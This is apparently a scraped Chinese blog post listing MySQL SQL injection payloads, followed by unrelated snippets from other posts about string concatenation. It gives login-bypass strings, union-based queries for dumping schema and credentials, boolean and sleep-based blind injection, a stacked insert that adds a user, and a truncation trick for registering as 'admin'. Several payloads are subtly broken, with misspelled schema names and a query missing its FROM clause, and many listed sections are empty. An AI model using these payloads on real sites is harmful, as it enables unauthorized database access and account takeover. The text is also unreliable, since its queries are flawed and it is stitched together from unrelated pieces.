mysql 多行拼接注入 MySQL注入彙總

2021-10-22 03:42:55 字數 2972 閱讀 9549

mysql注釋符:

單行注釋: # 在對url使用過程中可能遇到unicode編碼問題,可常用%23代替

多行注釋:/**/

單行注釋: -- 此處需要注意後面存在空格,否則報錯

0.萬能密碼

(基於sql驗證,sql注入)

aaa' or 1#

aaa' or 1; -- 會導致不成功,應為注釋掉了sql語句拼接的單引號,導致無法完成查詢

aaa' or 1; -- aaaaa

aaa' or 1; /******

(基於%00截斷繞過)

aa' or 1 %00/*

aa' or 1 %001451618646415:擾亂判定

1.union聯合注入

union:使用時需要於前置查詢結果列數相同

order by :可用於對指定列進行排序

limit a,b:取出查詢的從a開始b個的指定位置資料

前置關鍵函式:database(); version();user(); database():當前資料庫

關鍵資料庫:information_schema

思路:直接查詢

獲取union前查詢語句的列數

例如:' order by 4 %23%23%23 通過使用order by 排序來判定列數

假設已知列數為3,可進一步使用聯合查詢執行關鍵函式

例如:' and 0 union select user(),version(),database()%23%23%23* 通過使用order by 排序來判定列數

查詢該當前資料庫test有多少表

例如:' and 0 union select information_schema.tables,2,3 where table_schema='test' limit 0,1%23%23%23* 通過使用information_schema的tables屬性查詢表,結合limit逐個查詢

查詢該當前表testtable欄位資訊

例如:' and 0 union select information_schema.cloumns,2,3 where table_name='testtable' limit 0,1%23%23%23* 通過使用information_schema的cloumns屬性查詢表字段,結合limit逐個查詢。

注意:table_name='testtable' 建議將testtable的16進製制寫入進行替換

擴充套件,可以使用concat(a,'--',b)函式可以將查詢到的兩個結果進行拼接,一般用於賬號於密碼md5值對應

2.bool布林注入(盲注)

前置關鍵函式:mid() ;ord();length();

mid(str,1,2):字串擷取函式

ord():轉為ascii碼

length():統計長度

思路:可以進行逐個字元爆破猜解

使用and或者or進行測試

例如:' and 0 %23%23%23%23

猜測資料庫長度是否為3

例如:' and (select length(database())) = 3%23%23%23%23

猜測資料庫名

例如:' and (select ord(mid(database(),1,1)) > 97%23%23%23%23

通過擷取資料庫名的第一字元並轉至為ascii與數字不斷比較猜測

完成資料庫名測試後,開始爆破表數量

例如:' and (select count(table_name) from infomation_schema.tables where tables_schema=database() limit 0,1) = 3%23%23%23%23

完成表數量測試後,開始爆破表名

例如:' and mid((select count(table_name) from infomation_schema.tables where tables_schema=database() limit 0,1),1,1) > 97%23%23%23%23

3.sleep延時注入(盲注)

前置關鍵函式:sleep(),if();

sleep():指定睡眠時間

if():類似於程式設計的三元表示式

例如猜測資料庫長度

例如:' and sleep(if( length(database()) = 3,0,5)%23%23%23%23

後面同布林注入思路相同,逐個猜測即可

4.堆疊注入(stacked injection)

前置知識:sql語法

注意:該方法不適用於oracle資料庫

利用原理:通過;來構造執行多條語句

例如可以插入資訊,當然前提知道可以插入的字段,資料表等

例如:' ;insert into users(id,username,password) value (77,'acca','bbc')%23%23%23%23

後面思路可以執行sql語句的思路來進行更關鍵的資料獲取,增刪查改等操作

5.基於約束型注入

前置知識:sql語法

利用原理:由於管理員在建立資料庫時可能對字段長度進行約束,輸入是超過其長度限制,利用系統截斷功能處理,一般常用於insert中進行覆蓋等,多見於ctf題型中

例如20個字元以內varchar(20),儲存使用者名為admin可在賬戶註冊部分進行測試

例如:註冊賬戶設定為admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201,通過填充空格數進行惡意註冊,利用資料庫自行截斷功能,獲取的內容將變為admin(若**存在清除空格)

6.get型注入

7.post型注入

8.cookie注入

9.搜尋型注入

10.寬位元組注入

11.二次注入

12.insert注入

13.報錯型注入

14.二次編碼注入

15.dnslog注入(盲注)

資料參考

後記

sql注入 mysql Sql注入之Mysql

sql注入之mysql mysql函式 system user 系統使用者名稱 user 使用者名稱 current user 當前使用者名稱 session user 連線資料庫的使用者名稱 database 資料庫名 version 資料庫版本 load file 讀取本地檔案函式 datadi...

wm concat 多行字串拼接

一 wm concat 多行字串拼接 有如下員工部門表emp dept,資料如下 需要實現如下結果 就需要用到wm concat 函式 sql如下 select dept name 部門,wm concat t.emp name 員工 from emp dept t group by dept na...

mysql list拼接 mysql拼接多條字段

未合併情況 select a.id,b.name as role from sys user a inner join sys user role c on a.id c.user id inner join sys role b on b.id c.role id where a.del flag...